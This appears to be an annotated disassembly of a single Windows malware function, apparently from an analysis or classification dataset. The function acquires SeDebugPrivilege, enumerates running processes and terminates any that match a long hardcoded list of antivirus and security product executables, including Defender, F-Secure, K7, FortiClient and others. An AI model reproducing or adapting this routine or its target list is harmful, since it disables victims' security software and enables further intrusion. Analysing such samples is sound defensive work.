Function at 0x40aba0
Capabilities:
Acquire debug privileges
Enumerate processes
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x11ac
call fcn.0045e880
mov eax, dword [0x4b6134]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 2
mov ebx, ecx
mov dword [ebp - 0x11ac], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x11ac]
mov dword [ebx + 0x18], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x40ad93
lea eax, [ebp - 0x11ac]
push eax
push dword [ebx + 0x18]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x40ad93
push esi
push edi
nop dword [eax]
nop word [eax + eax]
mov ecx, 0x3dc
mov dword [ebp - 0xf7c], 0x2c
mov esi, str.avpmapp.exe_econceal.exe_SecHealthUI.exe_RuntimeBroker.exe_escanmon.exe_escanpro.exe_TRAYSSER.EXE_TRAYICOS.EXE_econser.exe_VIEWTCP.EXE_FSHDLL64.exe_fsgk32.exe_fshoster32.exe_FSMA32.EXE_fsorsp.exe_fssm32.exe_FSM32.EXE_trigger.exe_FProtTray.exe_FPWin.exe_FPAVServer.exe_AVK.exe_GdBgInx64.exe_AVKProxy.exe_GDScan.exe_AVKWCtlx64.exe_AVKService.exe_AVKTray.exe_GDKBFltExe32.exe_GDSC.exe_virusutilities.exe_guardxservice.exe_guardxkickoff_x64.exe_iptray.exe_freshclam.exe_freshclamwrap.exe_K7RTScan.exe_K7FWSrvc.exe_K7PSSrvc.exe_K7EmlPxy.EXE_K7TSecurity.exe_K7AVScan.exe_K7CrvSvc.exe_K7SysMon.Exe_K7TSMain.exe_K7TSMngr.exe_MpCmdRun.exe_nanosvc.exe_nanoav.exe_nnf.exe_nvcsvc.exe_nbrowser.exe_nseupdatesvc.exe_nfservice.exe_cmd.exetaskkill_IMnwscmon.exe_njeeves2.exe_nvcod.exe_nvoy.exe_zlhh.exe_Zlh.exe_nprosec.exe_Zanda.exe_NS.exe_acs.exe_op_mon.exe_PSANHost.exe_PSUAMain.exe_PSUAService.exe_AgentSvc.exe_BDSSVC.EXE_EMLPROXY.EXE_OPSSVC.EXE_ONLINENT.EXE_QUHLPSVC.EXE_SAPISSVC.EXE_SCANNER.EXE_SCANWSCS.EXE_scproxysrv.exe_ScSecSvc.exe_SUPERAntiSpyware.exe_SASCore64.exe_SSUpdate64.exe_SUPERDelete.exe_SASTask.exe_K7RTScan.exe_K7FWSrvc.exe_K7PSSrvc.exe_K7EmlPxy.EXE_K7TSecurity.exe_K7AVScan.exe_K7CrvSvc.exe_K7SysMon.Exe_K7TSMain.exe_K7TSMngr.exe_uiWinMgr.exe_uiWatchDog.exe_uiSeAgnt.exe_PtWatchDog.exe_PtSvcHost.exe_PtSessionAgent.exe_coreFrameworkHost.exe_coreServiceShell.exe_uiUpdateTray.exe_VIPREUI.exe_SBAMSvc.exe_SBAMTray.exe_SBPIMSvc.exe_bavhm.exe_BavSvc.exe_BavTray.exe_Bav.exe_BavWebClient.exe_BavUpdater.exe_MCShieldCCC.exe_MCShieldRTM.exe_MCShieldDS.exe_MCS_Uninstall.exe_SDScan.exe_SDFSSvc.exe_SDWelcome.exe_SDTray.exe_UnThreat.exe_utsvc.exe_FortiClient.exe_fcappdb.exe_FCDBlog.exe_FCHelper64.exe_fmon.exe_FortiESNAC.exe_FortiProxy.exe_FortiSSLVPNdaemon.exe_FortiTray.exe_FortiFW.exe_FortiClient_Diagnostic_Tool.exe_av_task.exe_CertReg.exe_FilMsg.exe_FilUp.exe_filwscc.exe_filwscc.exe_psview.exe_quamgr.exe_quamgr.exe_schmgr.exe_schmgr.exe_twsscan.exe_twssrv.exe_UserReg.exe
lea edi, [ebp - 0xf78]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xf80]
push eax
lea eax, [ebp - 0xf7c]
push eax
lea eax, [ebp - 0xf78]
movsw word es:[edi], word [esi]
push eax
call fcn.0046c4b8
add esp, 0xc
test eax, eax
je 0x40ad78
lea ecx, [ebp - 0x1188]
nop dword [eax]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x40ac86
test dx, dx
je 0x40ac82
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x40ac86
add ecx, 4
add eax, 4
test dx, dx
jne 0x40ac60
xor eax, eax
jmp 0x40ac8b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40ad58
lea edi, [ebx + 4]
push edi
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40ad0c
push 0x10
call fcn.0045d9c9
mov esi, eax
add esp, 4
lea ecx, [esi + 4]
mov dword [esi], 1
push ecx
push str.SeDebugPrivilege
push 0
mov dword [esi + 0xc], 2
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x40ad03
push 0
push 0
push 0
push esi
push 0
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x40ad03
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40ad03
push dword [edi]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
jmp 0x40ad24
push esi
call fcn.0045d520
add esp, 4
push str.could_not_set_SE_DEBUG_NAME_Privilege_n
call fcn.00401560
add esp, 4
call fcn.0046c1e4
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x11a4]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x40ad4c
push str.couldnt_open_process_n
call fcn.00401560
add esp, 4
call fcn.0046c1e4
push 1
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call edi
lea eax, [ebp - 0xf80]
push eax
lea eax, [ebp - 0xf7c]
push eax
push 0
call fcn.0046c4b8
add esp, 0xc
test eax, eax
jne 0x40ac53
lea eax, [ebp - 0x11ac]
push eax
push dword [ebx + 0x18]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x40ac10
pop edi
pop esi
push dword [ebx + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor eax, eax
mov word [ebx + 8], ax
xor ecx, ebp
mov dword [ebx + 0xc], eax
mov dword [ebx + 0x10], eax
mov dword [ebx + 0x14], eax
mov dword [ebx + 0x18], eax
mov dword [ebx + 0x1c], eax
mov dword [ebx + 0x20], eax
mov word [ebx + 0x24], ax
mov dword [ebx + 4], eax
mov dword [ebx + 0x28], eax
xor al, al
mov dword [ebx], 0
pop ebx
call fcn.0045d512
mov esp, ebp
pop ebp
ret